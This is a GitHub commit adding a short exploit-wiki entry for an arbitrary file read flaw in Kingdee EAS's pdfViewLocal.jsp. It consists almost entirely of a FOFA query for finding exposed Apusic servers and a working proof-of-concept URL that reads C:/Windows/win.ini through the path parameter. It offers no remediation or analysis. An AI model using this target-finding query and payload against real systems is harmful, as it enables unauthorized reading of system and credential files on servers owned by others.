Create 金蝶EAS_pdfviewlocal任意文件读取漏洞.md

This commit is contained in:
wy876 2024-01-08 12:50:29 +08:00 committed by GitHub
parent 99978954e7
commit f5cc943d9c
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -0,0 +1,12 @@
## 金蝶EAS_pdfviewlocal任意文件读取漏洞
## fofa
```
app="Apusic应用服务器"
```
## poc
```
/plt_document/fragments/content/pdfViewLocal.jsp?path=C:/Windows/win.ini
```
![5dbb763accc017208e1c47753ca10d55](https://github.com/wy876/wiki/assets/139549762/ed768d82-5a1d-487c-8c27-e5dcae06e73d)